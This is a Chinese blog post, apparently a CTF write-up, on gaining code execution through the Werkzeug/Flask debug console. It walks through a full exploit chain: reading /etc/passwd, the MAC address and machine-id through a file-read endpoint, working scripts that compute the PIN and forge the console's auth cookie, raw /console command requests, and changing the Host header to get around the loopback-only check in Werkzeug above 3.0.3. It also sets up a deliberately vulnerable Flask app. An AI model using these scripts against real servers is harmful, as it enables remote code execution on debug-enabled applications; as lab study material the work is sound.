新版flask的pin码计算

文章首发于先知社区https://xz.aliyun.com/t/16025

flask的pin码计算

Python debug pin码计算

需开启debug

from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
    return "Hello World"
app.run(debug=True)

/console路由填入上方控制台的 PIN 码即可执行 Python 命令

image-20241015093105-a582eh5

Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。

werkzeug 低版本使用 MD5,高版本使用 SHA1
werkzeug1.0.x 低版本
werkzeug2.1.x 高版本 一般是python3.8以上在用

pin码主要由六个参数构成

probably_public_bits

  1. username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
  2. appname:getattr(app, "__name__", app.__class__.__name__)​,固定值,默认是 Flask
  3. modname:getattr(app, "module", t.cast(object, app).class.module)​,获取固定值,默认是 flask.app
  4. moddir:getattr(mod, "__file__", None)​,即 app.py​ 文件所在路径,一般可以通过查看debug报错信息获得

private_bits

  1. uuid:str(uuid.getnode())​,即电脑上的 MAC 地址,也可以通过读取 /sys/class/net/eth0/address​ 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39​ => 95529701177
  2. machine_id:get_machine_id()​,首先读取 /etc/machine-id​(docker不读它,即使有),如果有值则不读取 /proc/sys/kernel/random/boot_id​,否则读取该文件。接着读取 /proc/self/cgroup​,取第一行的最后一个斜杠 /​ 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id​。

image-20241015095253-tfixj3z

两个版本的pin码计算脚本

(werkzeug1.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#username,通过/etc/passwd
    'flask.app',#modname,默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # 低版本直接/etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

(werkzeug>=2.0.x)

import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
    'root',  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir,报错得到
]

# 私有信息部分
private_bits = [
    '2485377568585',  # /sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
    # machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

手算cookie

流程

当我们无法获取返回的cookie,也无法使用/console进入debug的控制台的时候就需要我们手算cookie了

起一个docker看一下发pin码然后执行命令的流程

坑点:大于****​Werkzeug==3.0.3版本仅支持回环地址127.0.0.1访问/console(记住,后面要考)

image-20241016191620-3h5i1jo

我们install Werkzeug==3.0.1版本

###app.py
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    return "Hello World"

@app.route("/read", methods=["GET"])
def read_file():
    file_path = request.args.get("path")
    try:
        with open(file_path, "r") as f:
            content = f.read()
        return content
    except Exception :
        raise FileNotFoundError

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True, use_reloader=False)


###Dockerfile
# 使用 Python 3.8 作为基础镜像
FROM python:3.8

# 设置工作目录
WORKDIR /app

# 复制当前目录的内容到工作目录中
COPY . .

# 安装 Flask
RUN pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple flask Werkzeug==3.0.1

# 暴露 Flask 运行的端口
EXPOSE 5000

# 运行 Flask 应用
CMD ["python", "app.py"]
###docker-compose.yml
version: '3.8'  # 使用的 docker-compose 文件版本

services:
  flask-app:  # 服务名称
    build: .  # 使用当前目录下的 Dockerfile 构建镜像
    ports:
      - "5000:5000"  # 映射端口
    environment:
      - FLASK_ENV=development  # 设置 Flask 环境变量为开发模式

提交pin码时的请求

GET /console?__debugger__=yes&cmd=pinauth&pin=1&s=3YTBnR7SAoHOJWUIFhVI HTTP/1.1

可以看到这里和s有关

提交正确的pin码后

image-20241015190448-4xph8sv

会返回

{"auth": true, "exhausted": false}

并设置cookie

Set-Cookie: __wzd2d764a6d4e16687fcf23=1728990230|dee0430f742b; HttpOnly; Path=/; 

之后执行命令时需带着这个cookie才可执行

image-20241015190730-q5p0xeg

注意这里的请求多了frm即frame当前帧

GET /console?&__debugger__=yes&cmd=print(%27mixian%27)&frm=0&s=ZfYmlGiajkioMsAqVOFQ HTTP/1.1

总结一下就是Werkzeug会根据s创建cookie用于认证成功提交pin码,然后才可以执行带着frm和cookie的执行命令的请求

所以我们先看一下s怎么获取,访问console路由看源码就行,或者搞一个报错,源码里也有

image-20241015191249-o1jn6qb

然后是获取frm,报错后

image-20241015193428-ezhs74o

如果这里没有的话frm就是0

image-20241015193753-ixtk1md

先是get_pin_and_cookie_name函数这里看看cookie的名字

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

cookie_name直接提供6个参数跑出来就行了,没什么好说的

这个注释有点小丑了(bushi)

接下来看cookie的值,找到pin_auth函数

        if auth:
            rv.set_cookie(
                self.pin_cookie_name,
                f"{int(time.time())}|{hash_pin(pin)}",
                httponly=True,
                samesite="Strict",
                secure=request.is_secure,

值为int(time.time())}|{hash_pin(pin)

然后是check_pin_trust函数

image-20241016174541-gqgi5su

return (time.time() - PIN_TIME) < int(ts)​这里返回true才能完成认证

PIN_TIME是60*60*24*7​,ts是我们|前填入的值,要大于time.time()+606024*7

image-20241016192254-oyxnwbq

import hashlib
import time


# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time())}|{hash_pin('111-026-157')}")

image-20241016192534-glbhy25

验证

先拿六个参数

报错拿到moddir

image-20241016194249-c1bu6pg

读uuid,转十进制

image-20241016194945-i1sl3h9image-20241016195134-8jj1f0y

image-20241016195336-2711x9n

image-20241016195352-el941qq

然后跑脚本

import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
    'root',  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir,报错得到
]

# 私有信息部分
private_bits = [
    '90520745872463',  # /sys/class/net/eth0/address 十进制
    '2cfa1ac3-65ab-40ca-a689-714b6a05061047c05f4928028e22cb883a4a0fd380fb692238ab88cbfbf116c0f55a4ef65fc3'
    # machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print("cookie_name:"+cookie_name)

# 生成 pin 码
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print("pin码:"+rv)

拿到image-20241016195504-6leu33f

拿simage-20241016195653-vq9wjqx

拿cookie的值

import hashlib
import time


# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('352-819-671')}")

image-20241016210036-3rn62w0

Werkzeug>3.0.3版本

高于3.0.3版本,仅支持回环地址或localhost

70f9b2c6731a360612b582532a85bd5-20241016210350-45fsgpc

image-20241017084739-z14x0hg

正常访问/console会返回400

image-20241017084723-wo8ww22

Host改为回环地址或者localhost就可以访问了

image-20241017085656-3xw75nm

正常执行命令

SHCTF[Week3] 顰

还是老样子拿参数

这里/proc/self/cgroup​为空那就不填它image-20241016210642-cg0fgae

得到:

cookie_name:__wzd215e2ddd208f26855a0e
pin码:510-466-626
cookie_name值为:1729699932|271328319d5c
s为H3MgUZaZR6tUl3oBAB3b

image-20241016212606-yxh69rd

image-20241016211746-7lg87tj

版本为3.0.4大于3.0.3只能回环地址访问

带上cookie用回环地址访问/console

image-20241016215222-jo8v03y

image-20241016215540-25cou20

posted @ 2024-11-05 21:06  m1xian  阅读(467)  评论(0)    收藏  举报